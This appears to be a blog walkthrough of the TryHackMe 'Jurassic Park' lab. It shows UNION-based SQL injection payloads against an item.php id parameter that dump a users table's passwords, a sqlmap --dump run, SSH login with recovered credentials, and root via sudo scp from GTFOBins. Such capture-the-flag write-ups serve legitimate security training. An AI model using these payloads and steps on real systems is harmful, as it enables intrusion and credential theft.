Post

THM - Jurassic Park

Jurassic Park - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



THM - Jurassic Park

NMAP

image1

Website http://10.10.204.254/shop.php

image2

  • Clicking on one gives the following URL:

http://10.10.204.254/item.php?id=3

  • If you remove the ?id=3 it results in:

image3

  • So we know it’s MySQL

  • Attempting to break it:

http://10.10.204.254/item.php?id=3'

or using Union

http://10.10.204.254/item.php?id=3 UNION SELECT 1 --

image4

image5

  • I randomly changed the id=100 http://10.10.204.254/item.php?id=100

image6

Compared to (normal request ie. id=1):

image7

  • Fuzzing the id field ?id=5

http://10.10.204.254/item.php?id=5

image8

http://10.10.204.254/item.php?id=5 union select 1

image9

1
2
union select 1,2,3,4,5

image10

  • 2 and 4 are being reflected so:
1
2
union select 1,database(),3,version(),5

image11

image12

  • Fetch the users table from the database
1
2
?id=1 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_schema = database() and table_name = "users"

image13

  • Get column passwords from the table
1
2
?id=1 union select 1,2,3,password,5 from users

image14

  • But it dared me to use SQLMap so…

  • Open Burp and capture the request. Save the request to a file (burp)

image15

  • Run SQLMap:
1
2
sqlmap -r burp --batch

  • Found the following injection points:

image16

  • Or just dump the database (more noisy):
1
2
sqlmap -r burp --batch --dump

image17

image18

Dennis : ih8dinos

  • SSH with the credentials:
1
2
ssh dennis@10.10.204.254

  • Enumeration:
1
2
sudo -l

image19

  • We can run scp as sudo

  • GTFOBins

image20

image21

  • Got Root

image22

  • Stabilise:
1
python -c 'import pty; pty.spawn("/bin/bash")'

image23

  • Search for flags:
1
2
find / -name "flag\*" 2>/dev/null

image24

image25

  • Found flag3 in: /home/dennis/.bash_history
This post is licensed under CC BY 4.0 by the author.